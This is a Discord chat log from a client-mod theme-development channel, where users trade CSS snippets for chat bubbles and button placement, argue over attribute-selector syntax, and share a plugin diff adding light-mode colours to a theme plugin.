[id^=chat-messages-]:is(:has(+ :not([id^=chat-messages-])), :has(+ [id^=chat-messages-] [id^=message-username-])) {
border-bottom-left-radius: 20px;
border-bottom-right-radius: 20px;
}
lets fucking gooooooo it works
oh oop it kinda broke
could fix
any way to make it so that the bubble only extends to the end of the longest line?
[id^=chat-messages-] {
background-color: #070707;
}
[id^=chat-messages-]:has([id^=message-username-]) {
border-top-left-radius: 20px;
border-top-right-radius: 20px;
}
[id^=chat-messages-]:is(:has(+ [class*=scrollerSpacer__]), :has(+ :not([id^=chat-messages-]) + [id^=chat-messages-] [id^=message-username-]), :has(+ [id^=chat-messages-] [id^=message-username-])) {
border-bottom-left-radius: 20px;
border-bottom-right-radius: 20px;
}
just gotta change the color of the new message divider background
when its inbetween messages from same person
[id^=chat-messages-] {
background-color: #070707;
}
[id="---new-messages-bar"]:not(:has(+ [id^=chat-messages-] [id^=message-username-])) {
transform-style: preserve-3d;
}
[id="---new-messages-bar"]:not(:has(+ [id^=chat-messages-] [id^=message-username-]))::before {
content: "";
background: #070707;
width: calc(100% + 30px);
height: 9px;
position: absolute;
top: -5px;
left: -16px;
transform: translateZ(-1px);
}
[id^=chat-messages-]:has([id^=message-username-]) {
border-top-left-radius: 20px;
border-top-right-radius: 20px;
}
[id^=chat-messages-]:is(:has(+ [class*=scrollerSpacer__]), :has(+ :not([id^=chat-messages-]) + [id^=chat-messages-] [id^=message-username-]), :has(+ [id^=chat-messages-] [id^=message-username-])) {
border-bottom-left-radius: 20px;
border-bottom-right-radius: 20px;
}
i cooked with this one ngl
oh yeah @dawn wind it doesn't actually look that bad with inconsistent border radius
so maybe i'll just change it to this
It's pretty bad
Does anyone have any idea why that's there and how to remove it? (the add friend/message button)
It's an experiment isn't it? Should just be able to disable it in your experiments
its the "Make adding friends more prominent (desktop profile)" experiment
it's the "let's waste our resources on stuff no one wants instead of actual features" experiment
isnt that every other experiment

That one's at least a positive design change. The buttons are much cleaner than the message box section
@deft sentinel it was, tysm^^
anyone has a css snipit to remove the muted text under a server name?
use select element
wanted to see if any1 has a nice snipit and not somthing that will brake after 1 update
dont use the class hash
quick question, which folder is the root folder from which i can use a relative path in a css theme?
probably isnt even a feature
none.
nvm figured it out it just uses the location of the css
it wasn't working the first time so I thought there was a different root than the folder the css is in
is it possible to center the guilds when using the betterFolders plugin? Im sadly too dumb to do it (or it would take a lot of time that I dont have right now :c). I already build from source
I remember there's something for that in #๐จ-css-snippets
oh, ok. I will go search for it again, thanks
I cant find it 
you can find the class name with vesktop inspect element then center it with quickcss
alright, will see if I get it done, thanks ๐
once again
๐ #๐ค-bot-commands
hello i dont know where to search/what to type or is this is even a things
I figured that in css snippet there is selector refered with []
exemple:
[id*=message-reactions] [class*=reaction_] .emoji,
[id*=message-reactions] [class*=reactionCount],
[class*=effect_] {
zoom: 120%;
}
If im correct it's to change direct element style
In my case I want to change the read all buttons plugins but when i try to find the elements selector I have things referred with <> and i try to understand the rule to convert but don't succeed
Have you knowledge to share, documentation or keyword I need to use in my search ?
here is the stuff i refer to
<button type="button" class="button_afdfd9 lookFilled__19298 colorBrand_b2253e sizeMin__94642 grow__4c8a4" style="margin-top: 2px;margin-bottom: 8px;margin-left: 9px;"><div class="contents_fb6220">Read all</div></button>
so what you want to do is pick a class and then apply whatever you want to do with it
the [] selectors are called attribute selectors which allows for wildcards to be used
so there's many ways to select that element in css, I would probably use this: [class^=tutorialContainer] + button which selects any button element that is directly after an element which class starts with tutorialcontainer (that is the dm button)
Thanks a lot
you are based
Here is what i end up with, but it didnt work
Am I making a dumb mistake ? 
I try to resolve it on my own trying multiple things and learning more about attribute but didn"t succeed 
[class^=button_afdfd9] [type^=button]{
margin-top: 0px;
margin-bottom: 0px;
margin-left: 0px;
} ```
remove space
yeah space between the selectors means x containing y
The descendant combinator โ typically represented by a single space (" ") character โ combines two selectors such that elements matched by the second selector are selected if they have an ancestor (parent, parent's parent, parent's parent's parent, etc.) element matching the first selector. Selectors that utilize a descendant combinator are call...
also if you use the whole class or type you don't need the ^, it's for when the attribute's value starts with the string you put in; alternatively keep the ^ on the class attribute selector but drop the characters after the _ and your css will survive when discord decides to regenerate the hashes on the selectors, which is what most people are doing
Thanks again for both your valuable help
(i read both mdn webs docs and did some attribute selectors exercice but didn't manage to learn something that help me debug my css snippet idea)
So if I understand correctly, to futurproof my snippet it's better if I don't refer to the full classe but that I use ^ and the important part first. I don't need ^ if im reffering to the full name
in my case I refer to the full button type so I don't need ^
That space is to link both attribute as a parent and a child if needed in my case it could be:
[class*=scroller_] [class*=button_]```
Here is what I end up with
```css
[class*=button_][type=button] {
margin-top: 0px;
margin-bottom: 0px;
margin-left: 0px;
}```
But it change the tchat box button (I can provide screen shoot if unclear)
So i tried the following (with and without backspace after the scroller class atribut)(I though the backspace could help organize my code) :
```css
[class*=scroller_]
[class*=button_][type=button]{
margin-top: 0px;
margin-bottom: 0px;
margin-left: 0px;
}```
Too see the setup I work with I linked a picture in previous message I send
yeah button type and button class are both very generic which is why I suggested earlier to use [class^=tutorialContainer] + button however I see now that you also have some kind of div in between which I hadn't so replace that with [class^=tutorialContainer] ~ button
with the ~ combinator you select any button that is a sibling of .tutorialContainer_xxxxx
- would only select it when it's the next sibling but ~ selects it when it's any sibling
[class^=tutorialContainer] ~ button didn't work as well or [class^=tutorialContainer] + button
and it seems normal to me as tutorialContainer refered to the home button and I want to move the read all button bellow the online counter
[class*=button_] ~ button and [class*=scroller_] [class*=button_] ~ button Didn't work as well
I know its the button type of class .button_afdfd9.lookFilled__19298.colorBrand_b2253e.sizeMin__94642.grow__4c8a4 that I need to change as I edited the css directly
The way to edit element.style of that button from quick css still remain a mystery to me
*= for classes ^= for ids
there can be multiple classes and they can be in any order
there can only be one id
why the hell would you use ^= for ids?
there can only be one id
#id exists
you dont need an attribute selector for that
messages have their mesage ids in their ids
ex:
id="message-content-1176168340813787219"
id="chat-messages-1134844326933954622-1176168340813787219"
*= for classes? are you drunk
no
*= for classes if you wanna select a class that isn't the first class in the list
for example, an element could have an attribute like this:
class="message__80c10 cozyMessage__64ce7 mentioned__58017 groupStart__56db5 wrapper__09ecc cozy_f5c119 zalgo__39311 hasReply_febd50"class="message__80c10 cozyMessage__64ce7 mentioned__58017 groupStart__56db5 wrapper__09ecc cozy_f5c119 zalgo__39311 hasReply_febd50"
there is no guarantee message__ will always be at the start of the class attribute
discord could change things
i see no reason to use ^= over *= here
i use [class$='hash']
discord could also change message__ to message--
if they add a new one its gonna be at the end cause thats the sane thing to do
I see no reason to use any selector here
they dont do that tho
all classes with hashes use _
ids use -
and if they did change it, it would break everything anyways
imagine discord just used hashes instead of class names 
RIGHT!
the order of the class names in the class attributes is not alphabetical
there does not seem to be any defined order
if i ever create a message app used by millions
so i would not count on it always being the same
imma obfuscate everything
the order is however discord put it in their code
it's constant between builds
which could change if they add a new class to an element
yes but i dont see any benefit to using ^= over *=
i only see downsides
performance
unmeasurable performance gain
every bit counts
blink is already preformant enough
also, *= leads to overlapping classes
i used to want to micro-optimize everything
its bad practice tho
i got a lot of hate for it in #๐พ-core-development
honestly just use normal selectors and hope someone releases updaters for your themes
attribute selectors are ugly :/
discord uses camel case tho
only if your word could be part of another word would that happen
don't use stupid words
container - containerWrapper
that is in the code right now
camel case prevents that
say what cammel case is then you can use the word
i was thinking something like bar__ and sidebar__
since camel case doesnt prevent that
make a theme with only those, no comments, random order of rules
LMAO
oh no
camelCaseIsThePracticeOfWritingPhrasesWithoutSpacesOrPunctuationAndWithCapitalizedWords
ThatsTheStupidestNameYouCouldGiveForThat
not always
one hump, or two, definitely no more
im really happy that my issue animate a full conversation on * and ^ that I read with a lot of interest but I would be happy to also find a way to do it if anyone have an idea
#๐จ-theme-development message
what are you trying to do?
move the read all button below the online counter
this is what it looks like for me
@full mauve is using some snippet to change those which makes it a bit hard to help
no idea what kind of css is already being applied
u gotta show us ur current quickcss
it's what i work with
The quickcss will be more hard to read with all the import and the snippet
what is styling the button tho
because it doesnt look the same as default
this is what it looks like by default
i have a horizontal bar snippet
/*Horizontal Server List (Vencord/ccs snipet/SuzuBluLite)*/
@import url(//dablulite.github.io/css-snippets/HorizontalServerList/import.css);/**/```
so i need to fix it by modifing the margin-x from the stuff i highlight
as illustrated in this picture I shared previously
ill try modifying the snipet
what exactly u want it to look like tho
a reference drawing would help
why can't we grab the read all button ? I really want to learn
In my inspector I can fix it I can show you, its the way to do it in quickcss that im missing
that would be helpful
an image showing what ur trying to accomplish
what i have right now
what i touch in inspector
The stuff I put in inspector
<div style=mar...
element.style {
margin-bottom: 16px;
margin-left: 16px;
} ```
<button type...
```css
element.style {
margin-top: 0px;
margin-bottom: -32px;
margin-left: -58px;
}
/* Online friends counter */
#vc-friendcount {
margin-bottom: 16px !important;
margin-left: 16px !important;
}
/* Read all button */
:has(> #vc-friendcount) + * {
margin-top: 0px !important;
margin-bottom: -32px !important;
margin-left: -58px !important;
}
It work like a charm
๐ช ๐ณ real mvp
how did you found #vc-friendcount was the thing to wrote ? I dont see it in the inspector 
its on the span in the friend counter
thanks a lot I will learn a lot from there
I'd prefer if you don't repost content
I checked, it isn't mine, but still, I've posted the same (and more) before so it'd just be annoying to keep cluttering that channel with onekostuff (unless there will be a new oneko thing)
it hasnt been posted in #๐จ-css-snippets yet
ill add some new oneko so i can bump the repository again 
:o i didnt think that snippet worked
oh lol
did alot of css break relatively recently
haven't logged in on pc and when i do 90% of my theme was brokey
yes most css classes were updated some weeks ago
what do you think about this line?
What the fuck is that
oneko animations with everything set by variables


more
What are you trying to accomplish
youll see when im done
I'm done with you
love <3

you love
dont ask
i have no idea what is happening sometimes
it just slides around sleeping
it comes from being focused on chat and tabbing out and back in
horror
onekocord becoming the most complex theme ever
this is funny because i remember trying to make an oneko snippet where it would run to the right in the direction of the cursor when you started typing
does anyone remember if this is what Client Themes looked like in light mode?
.theme-light {
--background-primary: var(--primary-100);
--modal-background: var(--primary-100);
--background-nested-floating: var(--primary-100);
--activity-card-background: var(--primary-100);
--alert-bg: var(--primary-100);
--background-floating: var(--primary-100);
}
[class^=customColorPicker_] {
background: var(--primary-100) !important;
}
diff --git a/src/plugins/clientTheme/index.tsx b/src/plugins/clientTheme/index.tsx
index d0026c7..d1ec240 100644
--- a/src/plugins/clientTheme/index.tsx
+++ b/src/plugins/clientTheme/index.tsx
@@ -21,7 +21,8 @@ const ColorPicker = LazyComponent(() => findByCode(".Messages.USER_SETTINGS_PROF
const colorPresets = [
"#1E1514", "#172019", "#13171B", "#1C1C28", "#402D2D",
"#3A483D", "#344242", "#313D4B", "#2D2F47", "#322B42",
- "#3C2E42", "#422938"
+ "#3C2E42", "#422938", "#b6908f", "#bfa088", "#d3c77d",
+ "#86ac86", "#88aab3", "#8693b5", "#8a89ba", "#ad94bb",
];
function onPickColor(color: number) {
@@ -111,7 +112,7 @@ export default definePlugin({
}
});
-const variableRegex = /(--primary-[5-9]\d{2}-hsl):.*?(\S*)%;/g;
+const variableRegex = /(--primary-[1-5]\d{2}-hsl):.*?(\S*)%;/g;
async function generateColorOffsets() {
@@ -138,7 +139,7 @@ async function generateColorOffsets() {
// Generate offsets
const lightnessOffsets = Object.entries(variableLightness)
.map(([key, lightness]) => {
- const lightnessOffset = lightness - variableLightness["--primary-600-hsl"];
+ const lightnessOffset = lightness - variableLightness["--primary-345-hsl"];
const plusOrMinus = lightnessOffset >= 0 ? "+" : "-";
return `${key}: var(--theme-h) var(--theme-s) calc(var(--theme-l) ${plusOrMinus} ${Math.abs(lightnessOffset).toFixed(2)}%);`;
})
If so, here is all that is needed to make light themes work with ClientTheme plugin.
Just a lot of work would be needed to make it properly switch between the two ya get me.
I think it would be as simple as:
- creating a separate regex for light mode
variableRegexandlightVariableRegex - creating a separate record for light mode vars
variableLightnessandlightVariableLightness - abstract lightness offset generation to a function that takes
variableLightnessand brightness of center color (600dark,345light) - add light mode offsets to
.theme-lightand dark offsets to.theme-dark - add color fixes for --white-500 to --primary-100 in hardcoded css
Sir, this is a Denny's
yeah that happens when youre stupid



tbh i just spaghetti'd the code together and hoped it works